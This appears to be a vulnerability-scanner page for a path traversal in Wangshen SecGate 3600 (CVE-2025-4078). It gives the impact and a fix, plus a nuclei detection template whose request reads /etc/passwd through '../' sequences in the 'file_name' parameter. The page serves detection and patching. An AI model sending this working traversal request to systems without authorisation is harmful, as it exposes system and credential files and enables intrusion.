Wangshen SecGate 3600 Path Traversal Vulnerability

mediumseverity

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

Wangshen SecGate 3600 2400 contains a path traversal caused by manipulation of the 'file_name' argument in '?g=log_export_file', letting remote attackers access arbitrary files, exploit requires remote access.

Impact

Remote attackers can access sensitive files on the system, potentially leading to information disclosure or system compromise.

Fix

Implement input validation and sanitize 'file_name' parameter; update to the latest firmware version if available.

How to confirm it

Send: GET /?g=log_export_file&file_name=../../../../../../../etc/passwd
Positive when: status_code == 200 and regex("root:.*:0:0:", body) and contains(content_type, "text/plain")

Run it with nuclei: nuclei -id CVE-2025-4078 -u <target>

The full check

id: CVE-2025-4078

info:
  name: Wangshen SecGate 3600 Path Traversal Vulnerability
  author: Ark
  severity: medium
  description: |
    Wangshen SecGate 3600 2400 contains a path traversal caused by manipulation of the 'file_name' argument in '?g=log_export_file', letting remote attackers access arbitrary files, exploit requires remote access.
  impact: |
    Remote attackers can access sensitive files on the system, potentially leading to information disclosure or system compromise.
  remediation: |
    Implement input validation and sanitize 'file_name' parameter; update to the latest firmware version if available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4078
    - https://vuldb.com/?id.295954
  metadata:
    verified: true
    max-request: 1
    fofa-query: fid="1Lh1LHi6yfkhiO83I59AYg=="
  tags: cve,cve2025,wangshen,lfi,traversal,vuln,vkev

http:
  - raw:
      - |
        GET /?g=log_export_file&file_name=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
          - 'contains(content_type, "text/plain")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from